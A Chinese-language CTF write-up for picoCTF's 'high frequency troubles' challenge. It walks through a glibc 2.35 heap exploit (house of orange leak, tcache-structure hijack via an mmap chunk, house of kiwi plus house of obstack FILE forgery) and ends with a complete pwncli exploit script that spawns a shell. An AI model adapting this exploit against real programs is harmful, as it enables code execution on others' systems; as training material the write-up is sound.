前言
非常精彩的一道题目,2.35下的无free,且不能自如控制chunk的情况下,通过house of orange的技巧以及通过申请大于mp_.mmap_threshold的chunk配合溢出完成劫持tcache结构体的目标,从而实现任意内存分配,通过任意内存分配拿到地址泄露,最终通过house of kiwi + house of obstack完成drop shell
题目情况
题目描述:Additional details will be available after launching your challenge instance.
难度:Hard
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
hint:allocate a size greater than mp_.mmap_threshold
逆向分析
main:
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
uint64_t v3; // rax
size_t sz; // [rsp+8h] [rbp-18h] BYREF
pkt_t *pkt; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
putl(PKT_MSG_INFO, "BOOT_SQ");
while ( 1 ) // 每次循环申请一次内存,写入一次数据,可溢出
// 申请的内存不会主动释放
{
putl(PKT_MSG_INFO, "PKT_RES");
sz = 0LL;
fread(&sz, 8uLL, 1uLL, stdin); // 输入size,用pack去发送
pkt = (pkt_t *)malloc(sz);
pkt->sz = sz;
gets(pkt->data); // 堆溢出
v3 = pkt->data[0];
if ( v3 )
{
if ( v3 == 1 )
putl(PKT_MSG_DATA, (char *)&pkt->data[1]);// 打印信息,可以泄露地址
else
putl(PKT_MSG_INFO, "E_INVAL");
}
else
{
putl(PKT_MSG_DATA, "PONG_OK");
}
}
}
程序很简单,while循环中,不断读取大小和输入,每次循环申请一次内存,写入一次数据,判断第一个值是否是1来决定是否打印后面的内容
这里的pkt_t结构体是:
00000000 pkt_t struc ; (sizeof=0x8, align=0x8, copyof_8, variable size)
00000000 sz dq ?
00000008 data dq 0 dup(?)
00000008 pkt_t ends
这里的gets存在堆溢出问题,gets会被EOF和0x0a截断,正常输入不存在什么问题,但是gets会给输入末尾添加0x00,导致截断后面的内容
利用分析
这个场景是没有free的堆溢出题目,不能随意控制其他申请出来的chunk,只能给最新申请的chunk写入数据,main函数不会返回,不会调用exit(),没有退出流程
提示说allocate a size greater than mp_.mmap_threshold,申请一个大于mp_.mmap_threshold的内存,一定是有什么意义的
保护全开且无canary,像是想让人最后打ROP来拿到shell,要打ROP,就需要栈的地址,需要libc的地址,可能还需要堆的地址(后来发现,条件满足了直接打IO直接拿shell了)
当前面对的第一个问题就是,如何完成地址泄露?
辅助函数:
def do(sz: int,data: bytes):
rl(b"[PKT_RES]")
s(pack(sz))
sl(data)
leak heap address - 利用house of orange技巧
对于无free的场景,可以用到house of orange中的技巧,覆盖top chunk size为一个小的页面对齐的数字,然后再次申请top chunk无法分配的大小的chunk,就会将top chunk整个给释放掉,从而创造出一个释放的chunk
do(0x10,b'a'*0x10 +pack(0xd51))
do(0xd48,b"b")
#do(0x2000,b"b")
# leak heap address
do(0x10,b"\x01\x00\x00\x00\x00\x00\x00")
ru(b"PKT_DATA\x1b[m:[")
heapleak = rl()[:-2]
heapleak = unpack(heapleak,"all")
heapbase = heapleak - 0x2b0
success(f"heapleak: {hex(heapleak)}")
success(f"heapbase: {hex(heapbase)}")
此时的堆:
0x5608b2bd0290 0x0000000000000000 0x0000000000000021 ........!.......
0x5608b2bd02a0 0x0000000000000010 0x6161616161616161 ........aaaaaaaa
0x5608b2bd02b0 0x6161616161616161 0x0000000000000d31 aaaaaaaa1....... <-- unsortedbin[all][0]
0x5608b2bd02c0 0x00007f8a6b506ce0 0x00007f8a6b506ce0 .lPk.....lPk....
0x5608b2bd02d0 0x0000000000000000 0x0000000000000000 ................
0x5608b2bd02e0 0x0000000000000000 0x0000000000000000 ................
0x5608b2bd02f0 0x0000000000000000 0x0000000000000000 ................
0x5608b2bd0300 0x0000000000000000 0x0000000000000000 ................
这里再次申请内存:
0x5608b2bd0290 0x0000000000000000 0x0000000000000021 ........!.......
0x5608b2bd02a0 0x0000000000000010 0x6161616161616161 ........aaaaaaaa
0x5608b2bd02b0 0x6161616161616161 0x0000000000000021 aaaaaaaa!.......
0x5608b2bd02c0 0x0000000000000010 0x0000000000000001 ................
0x5608b2bd02d0 0x00005608b2bd02b0 0x0000000000000d11 .....V.......... <-- unsortedbin[all][0]
0x5608b2bd02e0 0x00007f8a6b506ce0 0x00007f8a6b506ce0 .lPk.....lPk....
0x5608b2bd02f0 0x0000000000000000 0x0000000000000000 ................
0x5608b2bd0300 0x0000000000000000 0x0000000000000000 ................
0x5608b2bd0310 0x0000000000000000 0x0000000000000000 ................
这里在申请的时候,unsortedbin chunk 会被sort进 largebin 此时会存在fd_nextsize和bk_nextsize字段,如果输入7个字节,\x01\x00\x00\x00\x00\x00\x00
gets函数在末尾补一个00,就能正常打印出来heap地址了
[+] heapleak: 0x5608b2bd02b0
[+] heapbase: 0x5608b2bd0000
leak libc address - 利用tcache结构体指针完成任意内存分配
这里的Hint说申请一个大于mp_.mmap_threshold的内存,亲测发现,申请出来的内存位于libc上面,是紧挨着的,而libc上面的部分,会存在tcache指针,指向tcache结构体,这个结构体原本指向heap的第一个chunk(0x290),这个指针被修改到一个可控内存上,意味着我们可控tcache chunk的分配了,之前是把chunk分配在原本的largebin chunk上,泄露出来了堆地址,如果能申请在largebin chunk - 0x10的位置,就可以泄露出libc地址了
# hijack tcache struct
fake_tcache_struct = heapbase + 0x2f0
tcache_struct = flat({
0x00:p16(1)*2 + p16(0)*62,
0x80:pack(heapbase+0x580)+p64(fake_tcache_struct-0x10) + pack(0)*62
})
success(f"fake tcache struct size: {hex(len(tcache_struct))}")
do(0x2a8,pack(2)+tcache_struct)
success(f"fake tcache struct address: {hex(fake_tcache_struct)}")
do(0x22000,b"a"*(0x22000 + 0x16e0) + pack(fake_tcache_struct))
# leak libc address
do(0x10,b"\x01\x00\x00\x00\x00\x00\x00")
ru(b"PKT_DATA\x1b[m:[")
libcleak = rl()[:-2]
libcleak = unpack(libcleak,"all")
libc.address = libcleak -0x21a260# dbg版本-0x1e1260
success(f"libcleak: {hex(libcleak)}")
success(f"libc base: {hex(libc.address)}")
vmmap:
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x5608b28c6000 0x5608b28c7000 r--p 1000 0 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/hft
0x5608b28c7000 0x5608b28c8000 r-xp 1000 1000 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/hft
0x5608b28c8000 0x5608b28c9000 r--p 1000 2000 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/hft
0x5608b28c9000 0x5608b28ca000 r--p 1000 2000 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/hft
0x5608b28ca000 0x5608b28cb000 rw-p 1000 3000 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/hft
0x5608b28cb000 0x5608b28cc000 rw-p 1000 5000 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/hft
0x5608b2bd0000 0x5608b2c13000 rw-p 43000 0 [heap]
0x7f8a6b2c7000 0x7f8a6b2ed000 rw-p 26000 0 [anon_7f8a6b2c7]
0x7f8a6b2ed000 0x7f8a6b315000 r--p 28000 0 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/libc.so.6
0x7f8a6b315000 0x7f8a6b4aa000 r-xp 195000 28000 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/libc.so.6
0x7f8a6b4aa000 0x7f8a6b502000 r--p 58000 1bd000 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/libc.so.6
0x7f8a6b502000 0x7f8a6b506000 r--p 4000 214000 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/libc.so.6
0x7f8a6b506000 0x7f8a6b508000 rw-p 2000 218000 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/libc.so.6
修改后:
pwndbg> tcache 0x5608b2bd02f0
tcache is pointing to: 0x5608b2bd02f0 for thread 1
{
counts = {0, 1, 0 <repeats 62 times>},
entries = {0x5608b2bd0, 0x5608b2bd02e0, 0x0 <repeats 62 times>},
}
[+] libcleak: 0x7f8a6b507260
[+] libc base: 0x7f8a6b2ed000
这里tcache的0x30这条链,指向了该tcache结构本身,用于后续拿到libc地址之后再次修改再次控制内存分配
house of kiwi - __malloc_assert 调用链分析
这里没法正常返回,也不调用exit,可以用house of kiwi中的技巧,通过malloc_assert来触发IO操作
house of kiwi 提出了一种触发 __malloc_assert 的思路:修改top chunk size来触发
在申请内存的时候,如果top chunk size小于申请大小,就会进入如下代码分支:
else
{
void *p = sysmalloc(nb, av);
if (p != NULL)
alloc_perturb(p, bytes);
return p;
}
通过sysmalloc进行处理,这里的第一个安全检查:
/* Record incoming configuration of top */
// 记录 top 的增长配置
old_top = av->top;
old_size = chunksize(old_top);
old_end = (char *)(chunk_at_offset(old_top, old_size));
brk = snd_brk = (char *)(MORECORE_FAILURE);
/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/
// 如果不是第一次增长
// 安全检查:需要old_size至少是MINSIZE,并且有prev_inuse设置
// 需要old top满足要求,大小正常,标志位正常
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long)(old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
// 没有足够的空间用于申请分配内存
assert((unsigned long)(old_size) < (unsigned long)(nb + MINSIZE));
拿到旧的top chunk信息,检查条件,只需要满足条件之一即可触发assert:
- top chunk size < 0x20(MINSIZE)
- prev inuse = 0
- old_top 没有页对齐
这里assert函数是:
# define assert(expr) \
((expr) \
? __ASSERT_VOID_CAST (0) \
: __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))
如果expr成立,执行ASSERT_VOID_CAST,否则执行assert_fail:
void
__assert_fail (const char *assertion, const char *file, unsigned int line,
const char *function)
{
__assert_fail_base (_("%s%s%s:%u: %s%sAssertion `%s' failed.\n%n"),
assertion, file, line, function);
}
__assert_fail_base:
void
__assert_fail_base (const char *fmt, const char *assertion, const char *file,
unsigned int line, const char *function)
{
char *str;
#ifdef FATAL_PREPARE
FATAL_PREPARE;
#endif
int total;
if (__asprintf (&str, fmt,
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion, &total) >= 0)
{
/* Print the message. */ // 触发 IO 流操作
(void) __fxprintf (NULL, "%s", str);
(void) fflush (stderr);
...
}
这里调用了fflush(stderr)
和__fxprintf
这里的__fxprintf
会首先触发IO操作
__fxprintf 调用链分析
int
__fxprintf (FILE *fp, const char *fmt, ...)
{
va_list ap;
va_start (ap, fmt);
int res = __vfxprintf (fp, fmt, ap, 0);
va_end (ap);
return res;
}
int
__vfxprintf (FILE *fp, const char *fmt, va_list ap,
unsigned int mode_flags)
{
if (fp == NULL)
fp = stderr;
_IO_flockfile (fp);
int res = locked_vfxprintf (fp, fmt, ap, mode_flags);
_IO_funlockfile (fp);
return res;
}
调用到locked_vfxprintf:
static int
locked_vfxprintf (FILE *fp, const char *fmt, va_list ap,
unsigned int mode_flags)
{
if (_IO_fwide (fp, 0) <= 0)
return __vfprintf_internal (fp, fmt, ap, mode_flags);
/* We must convert the narrow format string to a wide one.
Each byte can produce at most one wide character. */
wchar_t *wfmt;
mbstate_t mbstate;
int res;
int used_malloc = 0;
size_t len = strlen (fmt) + 1;
if (__glibc_unlikely (len > SIZE_MAX / sizeof (wchar_t)))
{
__set_errno (EOVERFLOW);
return -1;
}
if (__libc_use_alloca (len * sizeof (wchar_t)))
wfmt = alloca (len * sizeof (wchar_t));
else if ((wfmt = malloc (len * sizeof (wchar_t))) == NULL)
return -1;
else
used_malloc = 1;
memset (&mbstate, 0, sizeof mbstate);
res = __mbsrtowcs (wfmt, &fmt, len, &mbstate);
if (res != -1)
res = __vfwprintf_internal (fp, wfmt, ap, mode_flags);
if (used_malloc)
free (wfmt);
return res;
}
接下来进入vfprintf函数,这里最终会进入到outstring函数,这里触发了io调用:
/* The function itself. */
int vfprintf(FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{
...
/* Write the following constant string. */
outstring(end_of_spec, f - end_of_spec);
} while (*f != L_('\0'));
/* Unlock stream and return. */
goto all_done;
/* Hand off processing for positional parameters. */
do_positional:
done = printf_positional(s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep, mode_flags);
all_done:
/* Unlock the stream. */
_IO_funlockfile(s);
_IO_cleanup_region_end(0);
return done;
}
outstring:
static inline int
outstring_func(FILE *s, const UCHAR_T *string, size_t length, int done)
{
assert((size_t)done <= (size_t)INT_MAX);
if ((size_t)PUT(s, string, length) != (size_t)(length))
return -1;
return done_add_func(length, done);
}
#define outstring(String, Len) \
do \
{ \
const void *string_ = (String); \
done = outstring_func(s, string_, (Len), done); \
if (done < 0) \
goto all_done; \
} while (0)
这里调用outstring_func,这是个inline函数,这里会调用到PUT:
#define PUT(F, S, N) _IO_sputn((F), (S), (N))
0x7f5a335575e7 <__vfprintf_internal+383> mov rdx, rbx
0x7f5a335575ea <__vfprintf_internal+386> mov rsi, qword ptr [rsp + 0x18]
0x7f5a335575ef <__vfprintf_internal+391> mov rdi, r12
► 0x7f5a335575f2 <__vfprintf_internal+394> call qword ptr [r13 + 0x38]
是虚表vtable+0x38的函数,只要控制这里指向伪造IO使用的虚表函数,即可完成触发
house of obstack - IO劫持drop shell
触发流程已经分析清楚了,接下来就是构造劫持IO结构了,关于IO结构劫持,这里用任何一个可以在2.35用的vtable函数都行,不管是打house of apple还是house of cat或者其他什么,这里我用了新学的house of obstack来完成这次利用,触发就是控制top chunk size为0x10,然后申请超过0x10的内存即可
tcache_struct2 = flat({
0x00:p16(1)*3 + p16(0)*61,
0x80:pack(libc.sym.stderr-0x10)+p64(heapbase) +pack(heapbase + 0x21d40) +pack(0)*61
})
do(0x28,cyclic(8) + tcache_struct2)
# house of kiwi + house of obstack
fp = heapbase
io_payload = flat({
0x18:pack(1),
0x20:pack(0),
0x28:pack(1),
0x30:pack(0),
0x38:pack(libc.sym.system),
0x40:b"/bin/sh\x00",
0x48:pack(fp+0x40),
0x50:pack(1),
0x88:pack(heapbase+0x200),
0xd8:pack(libc.sym._IO_file_jumps - 0x240),# 0xd8:pack(libc.sym._IO_obstack_jumps+0x20),
0xe0:pack(fp)
},filler=b"\x00")
do(0x10,pack(libc.sym._IO_file_jumps) + pack(fp))
do(0x20,io_payload[0x8:])
# trigger
do(0x30,pack(0x10)*3)
do(0x1000,cyclic(0x1))
直接拿shell,完结撒花
完整exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
set_remote_libc('libc.so.6')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def do(sz: int,data: bytes):
rl(b"[PKT_RES]")
s(pack(sz))
sl(data)
# 0x21000 - 0x290 - 0x20 & 0xfff = 0xd51
do(0x10,b'a'*0x10 +pack(0xd51))
do(0xd48,b"b")
#do(0x2000,b"b")
# leak heap address
do(0x10,b"\x01\x00\x00\x00\x00\x00\x00")
ru(b"PKT_DATA\x1b[m:[")
heapleak = rl()[:-2]
heapleak = unpack(heapleak,"all")
heapbase = heapleak - 0x2b0
success(f"heapleak: {hex(heapleak)}")
success(f"heapbase: {hex(heapbase)}")
# hijack tcache struct
fake_tcache_struct = heapbase + 0x2f0
tcache_struct = flat({
0x00:p16(1)*2 + p16(0)*62,
0x80:pack(heapbase+0x580)+p64(fake_tcache_struct-0x10) + pack(0)*62
})
success(f"fake tcache struct size: {hex(len(tcache_struct))}")
do(0x2a8,pack(2)+tcache_struct)
success(f"fake tcache struct address: {hex(fake_tcache_struct)}")
do(0x22000,b"a"*(0x22000 + 0x16e0) + pack(fake_tcache_struct))
# leak libc address
do(0x10,b"\x01\x00\x00\x00\x00\x00\x00")
ru(b"PKT_DATA\x1b[m:[")
libcleak = rl()[:-2]
libcleak = unpack(libcleak,"all")
libc.address = libcleak -0x21a260# dbg版本-0x1e1260
success(f"libcleak: {hex(libcleak)}")
success(f"libc base: {hex(libc.address)}")
# alloc a address to reedit the tcache struct
tcache_struct2 = flat({
0x00:p16(1)*3 + p16(0)*61,
0x80:pack(libc.sym.stderr-0x10)+p64(heapbase) +pack(heapbase + 0x21d40) +pack(0)*61
})
do(0x28,cyclic(8) + tcache_struct2)
# house of kiwi + house of obstack
fp = heapbase
io_payload = flat({
0x18:pack(1),
0x20:pack(0),
0x28:pack(1),
0x30:pack(0),
0x38:pack(libc.sym.system),
0x40:b"/bin/sh\x00",
0x48:pack(fp+0x40),
0x50:pack(1),
0x88:pack(heapbase+0x200),
0xd8:pack(libc.sym._IO_file_jumps - 0x240),# 0xd8:pack(libc.sym._IO_obstack_jumps+0x20),
0xe0:pack(fp)
},filler=b"\x00")
do(0x10,pack(libc.sym._IO_file_jumps) + pack(fp))
do(0x20,io_payload[0x8:])
# trigger
do(0x30,pack(0x10)*3)
do(0x1000,cyclic(0x1))
ia()
参考资料
- picoCTF - picoGym Challenges
- 回炉重修之house of cat 带源码调试寻io - 先知社区 (aliyun.com)
- 新型 IO 利用方法初探—House of cat 学习利用 - 先知社区 (aliyun.com)
- No free? No problem! Exploit glibc 2.35 using orange cat - picoCTF 2024 high frequency troubles writeup | pwn2ooown’s Blog
- Glibc堆利用之house of系列总结 - roderick - record and learn! (roderickchan.github.io)
没有评论